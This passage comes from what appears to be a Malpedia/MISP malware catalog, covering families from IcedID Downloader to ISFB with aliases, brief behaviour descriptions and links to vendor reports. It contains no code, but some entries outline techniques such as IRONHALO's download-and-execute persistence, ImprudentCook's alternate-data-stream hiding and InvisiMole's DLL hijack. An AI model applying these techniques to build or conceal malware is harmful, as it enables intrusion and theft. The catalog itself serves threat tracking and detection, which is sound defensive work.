https://www.silentpush.com/blog/malicious-infrastructure-as-a-service

https://www.bleepingcomputer.com/news/security/hackers-target-ukrainian-govt-with-icedid-malware-zimbra-exploits/

https://thedfirreport.com/2021/05/12/conti-ransomware/

https://github.com/0xThiebaut/PCAPeek/

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html

https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/

https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917
https://www.fortinet.com/blog/threat-research/spoofed-invoice-drops-iced-id
https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise

IcedID Downloader

The tag is: *misp-galaxy:malpedia="IcedID Downloader"*

IcedID Downloader is also known as:

Table 4134. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader
https://www.netresec.com/?page=Blog&month=2023-10&post=Forensic-Timeline-of-an-IcedID-Infection
http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/
https://threatray.com/blog/a-new-icedid-gziploader-variant/
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/

Icefog

The tag is: *misp-galaxy:malpedia="Icefog"*

Icefog is also known as:

- Fucobha

Table 4135. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
http://www.kz-cert.kz/page/502
https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf
https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt

win.icexloader

IceXLoader is a commercial malware used to download and deploy additional malware on infected

machines. The latest version is written in Nim, a relatively new language utilized by threat actors the past two years, most notably by the NimzaLoader variant of BazarLoader used by the TrickBot group.

The v1 was written in AutoIT.

The tag is: *misp-galaxy:malpedia="win.icexloader"*

win.icexloader is also known as:

Table 4136. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icexloader
https://www.fortinet.com/blog/threat-research/new-icexloader-3-0-developers-warm-up-to-nim

IceCache

According to nao_sec, this malware is an IIS backdoor.

The tag is: *misp-galaxy:malpedia="IceCache"*

IceCache is also known as:

Table 4137. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_cache
https://nao-sec.org/2024/10/IcePeony-with-the-996-work-culture.html

IceEvent

According to nao_sec, this malware is a simple passive-mode backdoor that is installed as a service.

The tag is: *misp-galaxy:malpedia="IceEvent"*

IceEvent is also known as:

Table 4138. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_event
https://nao-sec.org/2024/10/IcePeony-with-the-996-work-culture.html

Ice IX

The ICE IX bot is a banking trojan derived of the Zeus botnet because it uses significant parts of Zeus's source code. ICE IX communicates using the HTTP protocol, so it can be considered to be a

third-generation botnet. While it has been used for a variety of purposes, a primary threat of ICE IX comes from its manipulation of banking operations on compromised machines. As with any bot, execution of the bot results in establishing a master-slave relationship between the botmaster and the compromised computer.

The tag is: *misp-galaxy:malpedia="Ice IX"*

Ice IX is also known as:

Table 4139. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix
https://www.virusbulletin.com/virusbulletin/2012/08/inside-ice-ix-bot-descendent-zeus
https://securelist.com/ice-ix-the-first-crimeware-based-on-the-leaked-zeus-sources/29577/
https://blog.trendmicro.com/trendlabs-security-intelligence/zeus-gets-another-update/
https://securelist.com/ice-ix-not-cool-at-all/29111/

IconDown

The tag is: *misp-galaxy:malpedia="IconDown"*

IconDown is also known as:

Table 4140. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icondown
https://blogs.jpcert.or.jp/en/2019/11/icondown-downloader-used-by-blacktech.html

IconicStealer

Follow-up payload in 3CX supply chain incident, which according to Volexity is an infostealer collecting information about the system and browser using an embedded copy of the SQLite3 library.

The tag is: *misp-galaxy:malpedia="IconicStealer"*

IconicStealer is also known as:

Table 4141. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.iconic_stealer
https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack

https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/
https://www.trendmicro.com/en_us/research/23/c/information-on-attacks-involving-3cx-desktop-app.html
https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/3cx-supply-chain-attack

IcyHeart

The tag is: *misp-galaxy:malpedia="IcyHeart"*

IcyHeart is also known as:

- Troxen

Table 4142. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icyheart

IDKEY

The tag is: *misp-galaxy:malpedia="IDKEY"*

IDKEY is also known as:

Table 4143. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.idkey
https://isc.sans.edu/diary/22766

IISniff

The tag is: *misp-galaxy:malpedia="IISniff"*

IISniff is also known as:

Table 4144. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff
https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf
https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf

IISpy

The tag is: *misp-galaxy:malpedia="IISpy"*

IISpy is also known as:

- BadIIS

Table 4145. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.iispy
https://blog.talosintelligence.com/dragon-rank-seo-poisoning/
https://www.welivesecurity.com/2021/08/09/iispy-complex-server-side-backdoor-antiforensic-features/

IMAPLoader

The tag is: *misp-galaxy:malpedia="IMAPLoader"*

IMAPLoader is also known as:

Table 4146. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.imap_loader
https://www.crowdstrike.com/blog/imperial-kitten-deploys-novel-malware-families/

Imecab

The tag is: *misp-galaxy:malpedia="Imecab"*

Imecab is also known as:

Table 4147. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.imecab
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east

Imminent Monitor RAT

MITRE describes Imminent Monitor as a commodity remote access tool (RAT) offered for sale from

2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.

The tag is: *misp-galaxy:malpedia="Imminent Monitor RAT"*

Imminent Monitor RAT is also known as:

Table 4148. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat
https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america
https://www.tripwire.com/state-of-security/featured/man-jailed-using-webcam-rat-women-bedrooms/
https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/
https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
https://www.politie.nl/nieuws/2021/mei/19/04-aanhouding-in-onderzoek-naar-cybercrime.html
https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt
https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/

Immortal Stealer

ZScaler describes Immortal Stealer as a windows malware written in .NET designed to steal sensitive information from an infected machine. The Immortal stealer is sold on the dark web with different build-based subscriptions.

The tag is: *misp-galaxy:malpedia=" Immortal Stealer"*

```
Immortal Stealer is also known as:
```

Table 4149. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.immortal_stealer
https://www.zscaler.com/blogs/research/immortal-information-stealer

ImprudentCook

ImprudentCook is an HTTP(S) downloader.

It was delivered in the Operation DreamJob type of activity targeting aerospace and defense companies in South Africa (in Q2 2022) and in Central Europe (in H1 2023), and against an unknown sector in South Korea back in Q2 2021.

It uses the AES cipher implemented through Windows Cryptographic Providers for decryption of its binary configuration, and also for encryption and decryption of the client-server communication.

It's hidden in an ADS stream (:dat or :zone) of its dropper, together with its configuration (:rsrc) and an AES-128 CBC key with an initialization vector for its decryption (:kgb or :data).

It contains two characteristic arrays of strings that represent cookie names for web services, including Bing, Daum and GitHub:

1. iKc;*uid;OAX;DMP_UID;PCID;_gid;_gat;csrftoken;NID;1P_JAR;JSESSIONID;WLS;SNID;* utma;BID;SRCHD;GsCK_AC;spintop;eader;XSRF-TOKEN;_gat_gtag_UA;webid_enabled;EDGE_V;dtck_channel;dtmulti;UUID;XUID;ZIA;IUID;SSID;_gh_sess;_octo
2. channel;post_titles;xfw_exp;wiht_clkey;SGPCOUPLE;NRTK;fbp;uaid;SRCHUSR;GUC;HPVN;dtck_blog;dtck_media;MUIDB;SRCHHPGUSR;SiteMain

It contains a string, "5.40" or "5.60", looking like version information.

The tag is: *misp-galaxy:malpedia="ImprudentCook"*

ImprudentCook is also known as:

Table 4150. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.imprudentcook
https://asec.ahnlab.com/ko/22975/
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf

INCONTROLLER

INCONTROLLER (aka PIPEDREAM) is a set of tools built to target machine automation devices. The tools can interact with specific industrial equipment embedded in different types of machinery leveraged across multiple industries. This tool set is very likely state sponsored and contains capabilities related to disruption, sabotage, and potentially physical destruction.

The tag is: *misp-galaxy:malpedia="INCONTROLLER"*

INCONTROLLER is also known as:

- PIPEDREAM

Table 4151. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.incontroller
https://www.mandiant.com/resources/blog/cyber-operations-russian-vulkan
https://www.youtube.com/watch?v=H82sbIwFxt4
https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_ChernoviteWP_v2b.pdf
https://twitter.com/silascutler/status/1514366443277766656
https://www.mandiant.com/resources/incontroller-state-sponsored-ics-tool

Incubator

Keylogger written in Visual Basic dating back to at least 2012.

The tag is: *misp-galaxy:malpedia="Incubator"*

Incubator is also known as:

Table 4152. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.incubator
https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/
https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf

IndigoDrop

The tag is: *misp-galaxy:malpedia="IndigoDrop"*

IndigoDrop is also known as:

Table 4153. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.indigodrop
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://blog.talosintelligence.com/2020/06/indigodrop-maldocs-cobalt-strike.html

Industrial Spy

A ransomware that emerged in April 2022.

The tag is: *misp-galaxy:malpedia="Industrial Spy"*

Industrial Spy is also known as:

Table 4154. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.industrial_spy
https://www.zscaler.com/blogs/security-research/technical-analysis-industrial-spy-ransomware

Industroyer

Industroyer is a malware framework considered to have been used in the cyberattack on Ukraine's power grid on December 17, 2016. The attack cut a fifth of Kiev, the capital, off power for one hour. It is the first ever known malware specifically designed to attack electrical grids.

The tag is: *misp-galaxy:malpedia="Industroyer"*

Industroyer is also known as:

- Crash
- CrashOverride

Table 4155. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer
https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too
https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf
https://sos-vo.org/sites/sos-vo.org/files/2024-04/HoTSoS2024_TaleOfTwoIndustroyers.pdf
https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/
https://www.secureworks.com/research/threat-profiles/iron-viking
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://en.wikipedia.org/wiki/Industroyer

https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/
https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf
https://cert.gov.ua/article/39518
https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security
https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf
https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-industroyer-biggest-threat-industrial-control-systems-stuxnet/
https://zambo99.github.io/publication/sp2024/s&p2024.pdf
https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/

INDUSTROYER2

The tag is: *misp-galaxy:malpedia="INDUSTROYER2"*

INDUSTROYER2 is also known as:

Table 4156. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer2
https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/
https://twitter.com/silascutler/status/1513870210398363651
https://www.mandiant.com/resources/blog/gru-disruptive-playbook
https://www.dragos.com/blog/2022-ics-ot-threat-landscape-recap-what-to-watch-for-this-year/
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd
https://sos-vo.org/sites/sos-vo.org/files/2024-04/HoTSoS2024_TaleOfTwoIndustroyers.pdf
https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works

https://www.ntop.org/cybersecurity/how-ntopng-monitors-iec-60870-5-104-traffic/
https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/
https://cert.gov.ua/article/39518
https://www.splunk.com/en_us/blog/security/threat-update-industroyer2.html
https://www.youtube.com/watch?v=mrTdSdMMgnk
https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://blogs.blackberry.com/en/2022/05/threat-thursday-malware-rebooted-how-industroyer2-takes-aim-at-ukraine-infrastructure
https://zambo99.github.io/publication/sp2024/s&p2024.pdf
https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf
https://www.mandiant.com/resources/industroyer-v2-old-malware-new-tricks
https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-iec-104-payload/
https://pylos.co/2022/04/23/industroyer2-in-perspective/
https://www.netresec.com/?page=Blog&month=2022-04&post=Industroyer2-IEC-104-Analysis
https://www.nozominetworks.com/downloads/US/Nozomi-Networks-WP-Industroyer2.pdf
https://blog.scadafence.com/industroyer2-attack

Inferno

The tag is: *misp-galaxy:malpedia="Inferno"*

Inferno is also known as:

Table 4157. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.inferno
https://github.com/LimerBoy/Inferno

InfinityLock

InfinityLock ransomware is a type of malicious software that encrypts a victim's files and demands a ransom payment in order to decrypt them. It is spread through phishing emails and malicious websites. Once a computer is infected with InfinityLock, it encrypts all important files, such as documents, photos, and videos. It then displays a message that demands the victim pay a ransom of

$1,000 in Bitcoin in order to decrypt the files. If the victim does not pay the ransom, the files will be lost permanently.

The tag is: *misp-galaxy:malpedia="InfinityLock"*

InfinityLock is also known as:

Table 4158. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.infinitylock
https://anti-spyware-101.com/remove-infinitylock-ransomware

InfoDot

Ransomware.

The tag is: *misp-galaxy:malpedia="InfoDot"*

InfoDot is also known as:

Table 4159. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.infodot
https://id-ransomware.blogspot.com/2019/10/infodot-ransomware.html

Infy

The tag is: *misp-galaxy:malpedia="Infy"*

Infy is also known as:

- Foudre

Table 4160. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.infy
http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv
https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/
https://www.intezer.com/prince-of-persia-the-sands-of-foudre/

https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
https://cloud.tencent.com/developer/article/1738806
https://research.checkpoint.com/2021/after-lightning-comes-thunder/
https://download.bitdefender.com/resources/files/News/CaseStudies/study/393/Bitdefender-Whitepaper-Iranian-APT-Makes-a-Comeback-with-Thunder-and-Lightning-Backdoor-and-Espionage-Combo.pdf

Inlock

The tag is: *misp-galaxy:malpedia="Inlock"*

Inlock is also known as:

Table 4161. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.inlock
https://www.fortinet.com/blog/threat-research/Ransomware-Roundup-New-Inlock-and-Xorist-Variants

InnaputRAT

InnaputRAT, a RAT capable of exfiltrating files from victim machines, was distributed by threat actors using phishing and Godzilla Loader. The RAT has evolved through multiple variants dating back to 2016. Recent campaigns distributing InnaputRAT beaconed to live C2 as of March 26, 2018.

The tag is: *misp-galaxy:malpedia="InnaputRAT"*

InnaputRAT is also known as:

Table 4162. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.innaput_rat
https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/

win.innfirat

InnifiRAT is coded in .NET and targets personal data on infected devices, with it's top priority appearing to be bitcoin and litecoin wallet data.

InffiRAT also includes a backdoor which allows attackers to control the infected host remotely. Possibilities include loggin key stroke, taking pictures with webcam, accessing confidential information, formatting drives, and more.

It attempts to steal browser cookies to steal usernames and passwords and monitors the users activities with screenshot functionality.

The tag is: *misp-galaxy:malpedia="win.innfirat"*

win.innfirat is also known as:

Table 4163. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.innfirat
https://www.zscaler.com/blogs/research/innfirat-new-rat-aiming-your-cryptocurrency-and-more

Interception (Windows)

ESET noticed attacks against aerospace and military companies in Europe and the Middle East that took place between September and December 2019, which featured this family. They found a number of hints that points towards Lazarus as potential origin.

The tag is: *misp-galaxy:malpedia="Interception (Windows)"*

Interception (Windows) is also known as:

Table 4164. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.interception
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf

Interlock (Windows)

According to Sekoia, this is the ransomware used by the Interlock ransomware intrusion set, which was first observed in September 2024 conducting Big Game Hunting and double extortion campaigns.

The tag is: *misp-galaxy:malpedia="Interlock (Windows)"*

Interlock (Windows) is also known as:

Table 4165. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.interlock
https://blog.sekoia.io/interlock-ransomware-evolving-under-the-radar/
https://labs.beazley.security/articles/hunting-mice-in-tunnels-ii-fake-captchas-and-ransomware
https://www.fortinet.com/blog/threat-research/ransomware-roundup-interlock
https://blog.talosintelligence.com/emerging-interlock-ransomware/

Invicta Stealer

According to Cyble, The Invicta Stealer can collect system information, system hardware details, wallet data, and browser data and extract information from applications like Steam and Discord.

The tag is: *misp-galaxy:malpedia="Invicta Stealer"*

Invicta Stealer is also known as:

Table 4166. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.invicta_stealer
https://blog.cyble.com/2023/05/25/invicta-stealer-spreading-through-phony-godaddy-refund-invoices/

InvisiMole

InvisiMole had a modular architecture, starting with a wrapper DLL, and performing its activities using two other modules that were embedded in its resources, named RC2FM and RC2CL. They were feature-rich backdoors and turned the affected computer into a video camera, letting the attackers to spy the victim. The malicious actors behind this malware were active at least since 2013 in highly targeted campaigns with only a few dozen compromised computers in Ukraine and Russia. The wrapper DLL posed as a legitimate mpr.dll library and was placed in the same folder as explorer.exe, which made it being loaded during the Windows startup into the Windows Explorer process instead of the legitimate library. Malware came in both 32-bit and 64-bit versions, which made this persistence technique functional on both architectures.

The smaller of the modules, RC2FM, contained a backdoor with fifteen supported commands indexed by numbers. The commands could perform simple changes on the system and spying features like capturing sounds, taking screenshots or monitoring all fixed and removable drives.

The second module, RC2CL, offered features for collecting as much data about the infected computer as possible, rather than for making system changes. The module supported up to 84 commands such as file system operations, file execution, registry key manipulation, remote shell activation, wireless network scanning, listing of installed software etc. Though the backdoor was capable of interfering with the system (e.g. to log off a user, terminate a process or shut down the system), it mostly provided passive operations. Whenever possible, it tried to hide its activities by restoring the original file access time or safe-deleting its traces.

The tag is: *misp-galaxy:malpedia="InvisiMole"*

InvisiMole is also known as:

Table 4167. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole

https://cocomelonc.github.io/malware/2022/11/27/malware-tricks-24.html
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf
https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/

iox

A maliciously abused open source tool for port forwarding & intranet proxy.

The tag is: *misp-galaxy:malpedia="iox"*

iox is also known as:

Table 4168. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.iox
https://www.synacktiv.com/en/publications/open-source-toolset-of-an-ivanti-csa-attacker
https://github.com/EddieIvan01/iox

IPStorm (Windows)

The tag is: *misp-galaxy:malpedia="IPStorm (Windows)"*

IPStorm (Windows) is also known as:

Table 4169. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ipstorm
https://maldbg.com/ipstorm-golang-malware-windows

Ironcat

The tag is: *misp-galaxy:malpedia="Ironcat"*

Ironcat is also known as:

Table 4170. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ironcat
https://twitter.com/demonslay335/status/1308827693312548864
https://aaronrosenmund.com/blog/2020/09/26/ironcat-ransmoware/

IRONHALO

```
IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded
payload from a hard-coded command-and-control (CnC) server and uniform resource
locator (URL) path.
The encoded payload is written to a temporary file, decoded and executed in a hidden
window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat
and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number
based on the current timestamp. It persists by copying itself to the current user
Startup folder.
```

The tag is: *misp-galaxy:malpedia="IRONHALO"*

IRONHALO is also known as:

Table 4171. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://www.symantec.com/security-center/writeup/2015-122210-5128-99
https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

IronNetInjector

According to Mitre, IronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.

The tag is: *misp-galaxy:malpedia="IronNetInjector"*

IronNetInjector is also known as:

Table 4172. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ironnetinjector
https://unit42.paloaltonetworks.com/ironnetinjector/

IronWind

The tag is: *misp-galaxy:malpedia="IronWind"*

IronWind is also known as:

Table 4173. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ironwind
https://www.proofpoint.com/us/blog/threat-insight/ta402-uses-complex-ironwind-infection-chains-target-middle-east-based-government

IsaacWiper

According to Recorded Future, IsaacWiper is a destructive malware that overwrites all physical disks and logical volumes on a victim's machine.

The tag is: *misp-galaxy:malpedia="IsaacWiper"*

IsaacWiper is also known as:

- LASAINRAW

Table 4174. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd
https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/
https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/
https://twitter.com/ESETresearch/status/1521910890072842240
https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf
https://thehackernews.com/2022/03/second-new-isaacwiper-data-wiper.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war

https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works
https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://securityintelligence.com/posts/new-wiper-malware-used-against-ukranian-organizations/
https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/
https://go.recordedfuture.com/hubfs/reports/mtp-2022-0324.pdf
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://www.brighttalk.com/webcast/15591/534324
https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/
https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/
https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://www.youtube.com/watch?v=mrTdSdMMgnk
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://www.recordedfuture.com/isaacwiper-continues-trend-wiper-attacks-against-ukraine/
https://experience.mandiant.com/trending-evil-2/p/1
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/

ISFB

2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)

In September 2010, the source code of a particular Gozi CRM dll version was leaked. This led to two main branches: one became known as Gozi Prinimalka, which was merge with Pony and became Vawtrak/Neverquest.

The other branch became known as Gozi ISFB, or ISFB in short. Webinject functionality was added to this version.

There is one panel which often was used in combination with ISFB: IAP. The panel's login page comes with the title 'Login - IAP'. The body contains 'AUTHORIZATION', 'Name:', 'Password:' and a single button 'Sign in' in a minimal design. Often, the panel is directly accessible by entering the C2 IP address in a browser. But there are ISFB versions which are not directly using IAP. The bot accesses a gate, which is called the 'Dreambot' gate. See win.dreambot for further information.

ISFB often was protected by Rovnix. This led to a further complication in the naming scheme - many companies started to call ISFB Rovnix. Because the signatures started to look for Rovnix, other trojans protected by Rovnix (in particular ReactorBot and Rerdom) sometimes got wrongly labelled.

In April 2016 a combination of Gozi ISFB and Nymaim was detected. This breed became known as GozNym. The merge uses a shellcode-like version of Gozi ISFB, that needs Nymaim to run. The C2 communication is performed by Nymaim.

See win.gozi for additional historical information.

The tag is: *misp-galaxy:malpedia="ISFB"*

ISFB is also known as:

- Gozi ISFB
- IAP
- Pandemyia

Table 4175. Table References

Links
